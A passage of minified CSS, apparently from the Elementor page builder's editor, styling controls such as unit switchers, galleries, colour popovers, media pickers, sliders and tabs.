margin-inline-start: auto; } .e-units-wrapper .e-units-switcher { cursor: pointer; font-size: 10px; padding: 0.5em; margin: -0.5em 0; transition: all ease-in-out 0.15s; } .e-units-wrapper .e-units-switcher:hover { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-hover); border-radius: var(--e-a-border-radius); } .e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit { display: none; } .e-units-wrapper .e-units-switcher[data-selected=custom] span { display: none; } .e-units-wrapper .e-units-switcher i.eicon-angle-right { transform: rotate(90deg); } .e-units-choices input { display: none; } .e-units-choices input:checked + label { color: var(--e-a-color-primary-bold); } .e-units-choices label { cursor: pointer; display: block; } .e-units-choices { display: none; overflow: hidden; max-height: 0; position: absolute; top: -0.8em; left: -0.5em; width: 2.5em; text-align: center; background-color: var(--e-a-bg-default); border-radius: var(--e-a-border-radius); box-shadow: var(--e-a-dropdown-shadow); animation-timing-function: linear; animation-delay: 0s; animation-fill-mode: forwards; z-index: 11000; } .e-units-choices .elementor-units-choices-label { display: flex; align-items: center; height: 3em; justify-content: center; font-size: 10px; transition: 0.15s; } .e-units-choices .elementor-units-choices-label:hover { color: var(--e-a-color-primary-bold); } .e-units-choices.e-units-choices-open { display: block; animation-duration: 1s; animation-name: e-units-choices-open; } .e-units-custom input { font-family: monospace; font-size: 0.85em; } @keyframes e-units-choices-open { from { max-height: 0; } to { max-height: 100vh; } } .elementor-control-type-gaps .elementor-control-gaps { display: flex; } .elementor-control-type-gaps li { flex: 1; transition: flex-grow 0.3s ease-in-out; } .elementor-control-type-gaps li input, .elementor-control-type-gaps li .elementor-link-gaps { display: block; text-align: center; width: 100%; height: 27px; } .elementor-control-type-gaps li input { border-inline-start: none; border-radius: 0; padding: var(--e-a-border-radius); } .elementor-control-type-gaps li input:focus { border-inline-start: var(--e-a-border-bold); margin-inline-start: -1px; width: calc(100% + 1px); } .elementor-control-type-gaps li input:focus + .elementor-control-gap-label { color: var(--e-a-color-txt); } .elementor-control-type-gaps li .elementor-link-gaps { border: var(--e-a-border-bold); border-inline-start: none; background-color: var(--e-a-bg-default); padding: 0; outline: none; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); cursor: pointer; } .elementor-control-type-gaps li:first-child input { border-inline-start: 1px solid var(--e-a-border-color-bold); border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-gaps li:first-child input:focus { border-color: var(--e-a-border-color-focus); margin-inline-start: 0; width: 100%; } .elementor-control-type-gaps li:last-child { max-width: 27px; } .elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within { flex: 2.5; } .elementor-control-type-gaps .elementor-control-gap-label { color: var(--e-a-color-txt-muted); display: block; text-align: center; font-size: 9px; padding-block-start: 5px; } .elementor-control-type-gaps .elementor-link-gaps.unlinked { background-color: var(--e-a-bg-default); } .elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked { display: none; } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); border-color: var(--e-a-border-color-bold); } .elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked { display: none; } .elementor-control-type-icons .elementor-control-media__preview > * { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-control-type-icons .elementor-control-media__preview i { font-size: 70px; } .elementor-control-type-icons .elementor-control-media__preview svg { height: 75%; } .elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload { font-size: 15px; } .elementor-control-type-gallery .elementor-control-media__content { border: var(--e-a-border-bold); border-radius: 3px; } .elementor-control-type-gallery .elementor-control-gallery-status { font-size: 12px; height: 27px; padding-inline-start: 10px; border-block-end: var(--e-a-border-bold); display: flex; } .elementor-control-type-gallery .elementor-control-gallery-status > * { display: flex; align-items: center; } .elementor-control-type-gallery .elementor-control-gallery-status-title { flex-grow: 1; } .elementor-control-type-gallery .elementor-control-gallery-content { position: relative; overflow: hidden; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails { display: grid; grid-template-columns: repeat(auto-fill, minmax(48px, 1fr)); grid-gap: 10px; cursor: pointer; padding: 10px; } .elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover + .elementor-control-gallery-edit, .elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus + .elementor-control-gallery-edit { opacity: 1; } .elementor-control-type-gallery .elementor-control-gallery-thumbnail { width: 48px; height: 48px; -o-object-fit: cover; object-fit: cover; border: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-thumbnail + .unoptimized__image { outline: 2px solid var(--e-a-btn-bg-danger-active); opacity: 0.6; } .elementor-control-type-gallery .elementor-control-gallery-edit { position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); padding: 10px; font-size: 11px; transition: all 0.3s ease-in-out; pointer-events: none; cursor: pointer; opacity: 0; } .elementor-control-type-gallery .elementor-control-gallery-edit span { position: absolute; top: 10px; right: 10px; width: 21px; height: 21px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-type-gallery .elementor-control-gallery-edit span i { font-size: 11px; padding: 5px; } .elementor-control-type-gallery .elementor-control-gallery-edit span:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-type-gallery .elementor-control-gallery-add { width: 48px; height: 48px; font-size: 14px; } .elementor-control-type-gallery .elementor-control-gallery-add i { margin: 0; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails, .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit { display: none; } .elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content { padding: 10px; } .elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add { display: none; } .elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear { border-inline-start: var(--e-a-border); } .elementor-control-type-gallery .elementor-control-gallery-clear { color: currentColor; background-color: transparent; border: none; cursor: pointer; justify-content: center; } .elementor-control-type-gallery .elementor-control-gallery-clear:hover, .elementor-control-type-gallery .elementor-control-gallery-clear:focus { color: var(--e-a-color-danger); } .elementor-control-type-gallery .elementor-control-dynamic-switcher { border-width: 0; border-inline-start-width: 1px; border-block-end-width: 1px; border-radius: 0; } .e-global__popover { width: 288px; z-index: 1; font-size: 12px; padding-inline-start: 10px; } .e-global__popover-toggle { border: var(--e-a-border-bold); border-inline-end: 0; border-start-start-radius: 3px; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: var(--e-a-transition-hover); } .e-global__popover-toggle:hover { background-color: var(--e-a-bg-hover); } .e-global__popover-toggle--active { color: var(--e-a-color-primary-bold); background-color: var(--e-a-bg-active-bold); } .e-global__popover-container { box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-default); } .e-global__popover-title { padding: 15px 20px; font-weight: 500; border-block-end: var(--e-a-border); display: flex; } .e-global__popover-title > i { margin-inline-end: 5px; } .e-global__popover-title-text { flex-grow: 1; } .e-global__popover-info { margin-inline-end: 10px; display: inline-block; } .e-global__popover-info-tooltip { width: 270px; z-index: 1; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); padding: 20px; border-radius: 3px; } .e-global__popover-info-tooltip:after { content: ""; position: absolute; bottom: -17px; left: 16px; border: 10px solid transparent; border-block-start-color: rgba(0, 0, 0, 0.9); } .e-global__popover-info i { font-size: 13px; } .e-global__preview-items-container { max-height: 400px; overflow-y: auto; padding: 5px 0; } .e-global__preview-items-container::-webkit-scrollbar { width: 7px; } .e-global__preview-items-container::-webkit-scrollbar-thumb { background-color: #BABFC5; border-radius: 10px; } .e-global__manage-button { font-weight: 500; cursor: pointer; } .e-global__typography { padding-block: 10px; padding-inline: 35px 20px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .e-global__typography.e-global__preview-item--selected:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; position: absolute; transform: translateY(-50%); top: 50%; inset-inline-start: 13px; } .e-global__color { padding: 10px 20px; display: flex; align-items: center; } .e-global__color-preview-container { height: 20px; width: 20px; border-radius: 3px; border: 1px solid rgba(0, 0, 0, 0.1); margin-inline-end: 10px; flex-shrink: 0; position: relative; } .e-global__color-preview-color, .e-global__color-preview-transparent-bg { border-radius: 3px; height: 100%; width: 100%; position: absolute; top: 0; left: 0; } .e-global__color-preview-transparent-bg { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 12px 12px; background-position: 0 0, calc(12px / 2) calc(12px / 2); } .e-global__color-title { flex-grow: 1; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; padding-inline-end: 10px; } .e-global__color-hex { font-size: 10px; color: var(--e-a-color-txt-muted); } .e-global__color .pcr-button { background-color: var(--e-a-bg-default); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container { display: flex; justify-content: center; align-items: center; color: var(--e-a-color-white); } .e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before { font-family: "eicons"; font-size: 13px; content: "\e90e"; text-shadow: 0 0 1px #000; z-index: 1; } .e-global__preview-item { cursor: pointer; position: relative; } .e-global__preview-item:hover { background-color: var(--e-a-bg-hover); } .e-global__confirm-delete i, .e-global__confirm-message-text i { color: var(--e-a-color-warning); } .e-global__confirm-input-wrapper { display: flex; align-items: center; border: var(--e-a-border); border-radius: var(--e-a-border-radius); margin: 15px 0; padding: 2px; } .e-global__confirm-input-wrapper input { font-family: var(--e-a-font-family); font-size: 12px; padding: 2px; border: 0; } .e-control-global .elementor-control-input-wrapper { display: flex; justify-content: flex-end; max-width: 135px; width: 100%; } .e-control-global.elementor-control .elementor-control-input-wrapper { display: flex; flex-direction: row; align-items: stretch; } .e-control-global .elementor-control-spinner { margin-inline-end: 4px; } .elementor-control-type-hidden { display: none !important; } .elementor-control-type-icon .select2-selection__rendered .eicon { margin-inline-end: 3px; } .elementor-control-type-image_dimensions .elementor-control-field-description { margin: 0 0 15px; line-height: 1.4; } .elementor-control-type-image_dimensions .elementor-control-input-wrapper { display: flex; align-items: flex-start; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field { width: 65px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus + .elementor-image-dimensions-field-description { color: var(--e-a-color-txt); } .elementor-control-type-image_dimensions .elementor-image-dimensions-separator { width: 20px; text-align: center; padding-block-start: 4px; } .elementor-control-type-image_dimensions .elementor-image-dimensions-field-description { display: block; margin-block-start: 5px; color: var(--e-a-color-txt-disabled); font-size: 10px; text-align: center; } .elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button { margin-inline-start: auto; } .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove, .elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove { display: none; } .elementor-control-media.e-media-empty-placeholder .e-control-image-size { display: none; } .elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button { display: none; } .elementor-control-media .eicon-plus-circle { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: var(--e-a-color-white); font-size: 20px; } .elementor-control-media__content__upload-button { background-color: var(--e-a-bg-active-bold); } .elementor-control-media__preview { height: 100%; background-size: cover; background-position: center; padding-block-end: 42.8571%; } .elementor-control-media-area { background-image: linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)), linear-gradient(45deg, var(--e-a-border-color-bold) 25%, transparent 0, transparent 75%, var(--e-a-border-color-bold) 0, var(--e-a-border-color-bold)); background-size: 16px 16px; background-position: 0 0, calc(16px / 2) calc(16px / 2); background-color: var(--e-a-bg-default); border: var(--e-a-border-bold); aspect-ratio: 21/9; } .elementor-control-media-area:not(:hover) .elementor-control-media__remove { display: none; } .elementor-control-media-area .eicon-video-camera { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: rgba(255, 255, 255, 0.7); font-size: 21px; } .elementor-control-media .elementor-control-media__content { aspect-ratio: 21/9; position: relative; cursor: pointer; overflow: hidden; } .elementor-control-media .elementor-control-media__content:hover:after { content: ""; position: absolute; top: 0; bottom: 0; left: 0; right: 0; background-color: rgba(0, 0, 0, 0.2); pointer-events: none; } .elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools { bottom: -30px; } .elementor-control-media__content { transition: all 0.2s ease-in-out; } .elementor-control-media__tools { position: absolute; bottom: 0; left: 0; right: 0; height: 27px; transition: all 0.2s ease-in-out; } .elementor-control-media__tools > *:not(:first-child) { margin-inline-start: 1px; } .elementor-control-media__tool { display: flex; align-items: center; justify-content: center; flex-grow: 1; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.9); font-size: 11px; transition: var(--e-a-transition-hover); } .elementor-control-media__tool:hover { background-color: rgba(0, 0, 0, 0.8); } .elementor-control-media__remove { display: flex; align-items: center; justify-content: center; transition: all 0.3s ease-in-out; } .elementor-control-media__content__remove { position: absolute; z-index: 1; top: 10px; right: 10px; width: 20px; height: 20px; font-size: 11px; color: var(--e-a-color-white); background-color: rgba(0, 0, 0, 0.5); border-radius: var(--e-border-radius); box-shadow: 0 0 7px 0 rgba(0, 0, 0, 0.2); transition: var(--e-a-transition-hover); } .elementor-control-media__content__remove:hover { background-color: rgba(0, 0, 0, 0.6); } .elementor-control-media.e-media-empty .elementor-control-file-area { display: none; } .elementor-control-media__warnings:empty { display: none; } .elementor-control-media__warnings:not(:empty) { margin-block-start: 10px; } .elementor-control-media__file { display: flex; justify-content: space-between; align-items: center; width: 100%; margin-block-start: 10px; border: var(--e-a-border); } .elementor-control-media__file__content { padding-inline-start: 5px; font-size: 12px; } .elementor-control-media__file__content__label { color: #9DA5AE; } .elementor-control-media__file__content__info { display: flex; align-items: center; font-weight: 500; } .elementor-control-media__file__content__info__icon { margin-inline-end: 5px; } .elementor-control-media__file__controls { display: flex; border-inline-start: var(--e-a-border); } .elementor-control-media__file__controls__upload-button, .elementor-control-media__file__controls__remove { width: 27px; height: 27px; cursor: pointer; align-items: center; } .elementor-control-media__file__controls__upload-button { display: flex; justify-content: center; } .elementor-control-media__file__controls__remove { border-inline-end: var(--e-a-border); } .elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__content__info { display: none; } .elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove { display: none; } .elementor-control-media .elementor-control-dynamic-switcher { border: none; border-radius: 0; background-color: rgba(0, 0, 0, 0.9); color: var(--e-a-color-white); } .elementor-control-media .elementor-control-dynamic-switcher:hover { background-color: rgba(0, 0, 0, 0.8); color: var(--e-a-color-white); } .elementor-control-media .e-control-image-size { display: flex; flex-direction: column; width: 100%; padding-block-start: 20px; } .elementor-control-media .e-control-image-size .elementor-control-input-wrapper { margin-inline-start: auto; } .elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper { border: none; } .elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview { background-color: var(--e-a-bg-active-bold); } .elementor-control-notice { display: flex; justify-content: flex-start; align-items: flex-start; gap: 8px; padding: 16px; border-radius: 3px; border: 1px solid var(--notice-control-color, var(--e-a-color-txt)); color: var(--e-a-color-txt); font-size: 12px; font-weight: 400; line-height: 1.5; text-align: start; margin-block-start: 10px; } .elementor-control-notice-type-info { --notice-control-color: var(--e-a-color-info); } .elementor-control-notice-type-success { --notice-control-color: var(--e-a-color-success); } .elementor-control-notice-type-warning { --notice-control-color: var(--e-a-color-warning); } .elementor-control-notice-type-danger { --notice-control-color: var(--e-a-color-danger); } .elementor-control-notice-icon { flex-basis: 18px; color: var(--notice-control-color); } .elementor-control-notice-main { display: flex; flex-direction: column; justify-content: flex-start; align-items: flex-start; gap: 6px; flex: 1; } .elementor-control-notice-main-heading { font-weight: 700; font-style: italic; } .elementor-control-notice-main-content { font-style: italic; line-height: 1.5; } .elementor-control-notice-main-actions { display: flex; gap: 10px; padding-block-start: 8px; } .elementor-control-notice-main a { color: inherit; font-weight: 700; cursor: pointer; } .elementor-control-notice-main a:hover, .elementor-control-notice-main a:focus { color: inherit; } .elementor-control-notice-dismiss { -webkit-appearance: none; -moz-appearance: none; appearance: none; background-color: transparent; border: 0; padding: 0; margin: 0; cursor: pointer; } .elementor-control-type-popover_toggle input { display: none; } .elementor-control-type-popover_toggle label { cursor: pointer; } .elementor-control-type-popover_toggle .elementor-control-input-wrapper { display: flex; flex-direction: row-reverse; align-items: center; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked + .elementor-control-popover-toggle-toggle-label { color: var(--e-a-color-txt-active); background-color: var(--e-a-bg-active-bold); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked) ~ .elementor-control-popover-toggle-reset-label { display: none; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label { height: 27px; display: inline-flex; align-items: center; justify-content: center; border-radius: var(--e-a-border-radius); border: var(--e-a-border-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label { color: var(--e-a-color-txt-muted); margin-inline-end: 5px; } .elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover { color: var(--e-a-color-txt); } .elementor-controls-popover.e-controls-popover--typography { padding-block-start: 0; } .e-control-global .elementor-control-popover-toggle-toggle-label { border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); flex-shrink: 0; } .elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab) { padding-inline-start: 10px; padding-inline-end: 10px; padding-block-end: 10px; } .elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove { display: none; } .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate, .elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add { display: none; } .elementor-control-type-repeater .elementor-repeater-fields { margin: 10px 0; } .elementor-control-type-repeater .elementor-repeater-row-controls { border: var(--e-a-border-bold); border-block-start-width: 0; padding-block-start: 15px; } .elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable) { display: none; } .elementor-control-type-repeater .elementor-repeater-row-tools { display: flex; align-items: center; width: 100%; border: 1px solid var(--e-a-border-color-bold); transition: var(--e-a-transition-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools > button { display: flex; align-items: center; justify-content: center; height: 40px; border: none; background-color: transparent; color: currentColor; cursor: pointer; } .elementor-control-type-repeater .elementor-repeater-row-tools > button:hover, .elementor-control-type-repeater .elementor-repeater-row-tools > button:focus { background-color: var(--e-a-bg-hover); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title { flex: 1; justify-content: flex-start; padding: 0 10px; font-size: var(--control-title-size); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i, .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg { margin-inline-end: 5px; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg] { width: 1em; } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool { width: 40px; border-inline-start: 1px solid var(--e-a-border-color-bold); } .elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable { width: 10px; border-inline-end: 1px solid var(--e-a-border-color-bold); cursor: move; } .elementor-control-type-repeater .elementor-button-wrapper { text-align: center; padding-block-start: 5px; } #elementor-controls { padding-block-start: 15px; } .elementor-control-type-section { padding: 0; } .elementor-control-type-section.e-open { padding-block-end: 10px; } .elementor-control-type-section + .elementor-control:not(.elementor-control-type-section):before { display: none; } .elementor-control-type-section:not(:first-child):not(.elementor-control-type-section + .elementor-control-type-section) { margin-block-start: 25px; } .elementor-control-type-select .elementor-control-input-wrapper { position: relative; } .elementor-control-type-select .elementor-control-input-wrapper select { -webkit-appearance: none; -moz-appearance: none; appearance: none; font-size: var(--control-title-size); font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-start: 5px; padding-inline-end: 20px; cursor: pointer; } .elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder { color: var(--e-a-color-txt-disabled); } .elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder { display: none; } .elementor-control-type-select .elementor-control-input-wrapper:after { font-family: eicons; content: "\e8ad"; font-size: 12px; position: absolute; top: 50%; transform: translateY(-50%); right: 5px; pointer-events: none; } .elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper { max-width: 80px; } .elementor-shadow-box .elementor-shadow-slider { margin-block-start: 10px; } .elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title { flex-grow: 1; } .elementor-control-type-slider.elementor-control-dynamic input { border-start-start-radius: var(--e-a-border-radius); border-start-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); border-end-end-radius: 0; } .elementor-control-type-slider .elementor-control-unit-2 { width: 21%; } .elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper { display: block; } .elementor-control-type-slider--multiple { padding-block-end: 40px; } .elementor-control-type-slider--multiple .elementor-slider { margin-block-start: 12px; width: 98%; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle { border-radius: 0; width: 10px; transform: translateY(calc(50% - 14px)) translateX(4px); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after { content: ""; position: absolute; top: 2px; height: 12px; width: 11px; transform: rotate(45deg); background-color: var(--e-a-color-white); border-radius: 3px; } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after { left: 5px; box-shadow: 2px -2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after { right: 5px; box-shadow: -2px 2px 3px 0px rgba(0, 0, 0, 0.1); } .elementor-control-type-slider .elementor-control-dynamic-switcher { border-inline-start-width: 0; border-start-start-radius: 0; border-start-end-radius: var(--e-a-border-radius); border-end-start-radius: 0; border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-slider .elementor-control-input-wrapper { display: flex; align-items: center; } .elementor-control-type-slider .elementor-dynamic-cover { margin-block-start: 10px; } .elementor-control-type-slider.e-units-custom .elementor-slider { display: none; } .elementor-control-type-slider.e-units-custom .elementor-slider-input { width: 100%; margin: 0; transition: none; } .elementor-slider { flex-grow: 1; height: 4px; background-color: var(--e-a-border-color-bold); border-radius: 5px; position: relative; cursor: pointer; } .elementor-slider-input { width: 21%; min-width: 54px; margin-inline-start: 12px; transition: width 0.3s ease-in-out; } .elementor-slider__extra { position: relative; } .elementor-slider__labels { display: flex; justify-content: space-between; } .elementor-slider__label { font-size: 9px; color: var(--e-a-color-txt-disabled); } .elementor-slider__scales { position: absolute; display: flex; justify-content: space-evenly; width: 100%; margin-block-start: 4px; } .elementor-slider__scale { width: 1px; height: 21px; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-handle { height: 16px; width: 16px; background-color: var(--e-a-color-white); right: 0; transform: translateY(calc(50% - 14px)) translateX(8px); position: absolute; box-shadow: 0 1px 5px rgba(0, 0, 0, 0.3); border-radius: 50%; } .elementor-slider .noUi-connects { position: absolute; width: 100%; height: 4px; } .elementor-slider .noUi-connect { position: absolute; z-index: 0; top: 0; left: 0; height: 100%; width: 100%; will-change: transform; transform-origin: 0 0; background-color: var(--e-a-border-color-focus); } .elementor-slider .noUi-tooltip { position: absolute; top: calc(100% + 5px); left: calc(50% - 4px); transform: translateX(-50%); font-size: 10px; } .elementor-control-type-structure .elementor-control-field { display: initial; } .elementor-control-type-structure .elementor-control-structure-preset { padding: 3px; border-radius: var(--e-border-radius); display: inline-block; cursor: pointer; height: 50px; } .elementor-control-type-structure .elementor-control-structure-preset svg { height: 100%; } .elementor-control-type-structure .elementor-control-structure-preset path { fill: var(--e-a-border-color-bold); } .elementor-control-type-structure .elementor-control-structure-reset { padding: 15px 20px 0; font-size: 11px; cursor: pointer; color: var(--e-a-color-txt-muted); border-block-start: var(--e-a-border); margin: 0 -20px; } .elementor-control-type-structure .elementor-control-structure-reset:hover { color: var(--e-a-color-txt); } .elementor-control-type-structure .elementor-control-structure-title { margin: 10px -20px 0; } .elementor-control-type-structure .elementor-control-structure-title:before { height: 10px; box-shadow: inset 0 2px 4px rgba(127, 127, 127, 0.1); } .elementor-control-type-structure .elementor-control-structure-presets { display: flex; flex-wrap: wrap; justify-content: space-between; } .elementor-control-type-structure .elementor-control-structure-presets input { display: none; } .elementor-control-type-structure .elementor-control-structure-presets input:checked + .elementor-control-structure-preset path { fill: var(--e-a-border-color-focus); } .elementor-control-type-structure .elementor-control-structure-preset-wrapper { margin-block-end: 15px; } .elementor-control-type-structure .elementor-control-structure-preset-title { text-align: center; padding-block-start: 5px; font-style: italic; font-size: 11px; color: #9DA5AE; } .elementor-control-type-switcher .elementor-control-input-wrapper { text-align: end; } .elementor-control-type-switcher .elementor-switch { position: relative; display: inline-block; vertical-align: top; height: 20px; background-color: var(--e-a-bg-default); border-radius: 18px; cursor: pointer; } .elementor-control-type-switcher .elementor-switch-input { display: none; } .elementor-control-type-switcher .elementor-switch-label { position: relative; display: block; height: inherit; font-size: 10px; background: var(--e-a-bg-active-bold); border-radius: inherit; transition: 0.15s ease-out; transition-property: opacity, background; } .elementor-control-type-switcher .elementor-switch-label:before, .elementor-control-type-switcher .elementor-switch-label:after { position: absolute; top: 0; width: 50%; text-align: center; line-height: 20px; transition: inherit; } .elementor-control-type-switcher .elementor-switch-label:before { content: attr(data-off); right: 5px; color: var(--e-a-color-txt-muted); } .elementor-control-type-switcher .elementor-switch-label:after { content: attr(data-on); left: 5px; color: var(--e-a-btn-color); opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label { background: var(--e-a-btn-bg-primary); } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:before { opacity: 0; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-label:after { opacity: 1; } .elementor-control-type-switcher .elementor-switch-handle { position: absolute; top: 1px; left: 1px; width: 18px; height: 18px; background: white; border-radius: 10px; transition: left 0.15s ease-out; } .elementor-control-type-switcher .elementor-switch-input:checked ~ .elementor-switch-handle { left: initial; right: 1px; } .elementor-control-type-tabs { display: flex; font-size: var(--control-title-size); } .elementor-control-type-tab { text-align: center; width: 100%; padding: 0; line-height: 25px; border-block-start: var(--e-a-border-bold); border-block-end: var(--e-a-border-bold); border-inline-end: var(--e-a-border-bold); transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-control-type-tab:first-child { border-inline-start: var(--e-a-border-bold); border-start-start-radius: var(--e-a-border-radius); border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-tab:last-child { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-tab:hover { background-color: var(--e-a-bg-hover); } .elementor-control-type-tab.e-tab-active { background-color: var(--e-a-bg-active-bold); color: var(--e-a-color-txt-accent); } .e-tab-close { display: none !important; } .elementor-control-type-textarea .elementor-control-dynamic-switcher, .elementor-control-type-code .elementor-control-dynamic-switcher { border-inline-start-width: 1px; border-start-start-radius: 0; border-start-end-radius: 0; border-end-end-radius: 0; border-end-start-radius: var(--e-a-border-radius); } .elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher, .elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher { position: absolute; top: 0; right: 0; z-index: 1; } .elementor-control-type-textarea .elementor-control-input-wrapper, .elementor-control-type-code .elementor-control-input-wrapper { position: relative; } .elementor-control-type-textarea textarea, .elementor-control-type-code textarea { display: block; font-family: inherit; } .elementor-control-type-textarea textarea:focus + .elementor-control-dynamic-switcher, .elementor-control-type-code textarea:focus + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-textarea pre:focus-within + .elementor-control-dynamic-switcher, .elementor-control-type-code pre:focus-within + .elementor-control-dynamic-switcher { display: none; } .elementor-control-type-url .elementor-control-field { position: relative; } .elementor-control-type-url .elementor-control-input-wrapper { display: flex; } .elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input { border-radius: var(--e-a-border-radius); } .elementor-control-type-url.elementor-control-dynamic-value .e-input-style { border-start-end-radius: 0; border-end-end-radius: 0; } .elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more { border-start-end-radius: var(--e-a-border-radius); border-end-end-radius: var(--e-a-border-radius); } .elementor-control-type-url .elementor-control-url-more { display: flex; align-items: center; justify-content: center; flex-shrink: 0; border: var(--e-a-border-bold); color: currentColor; background-color: transparent; border-inline-start-width: 0; cursor: pointer; } .elementor-control-type-url .elementor-control-url-more i { font-size: 12px; } .elementor-control-type-url 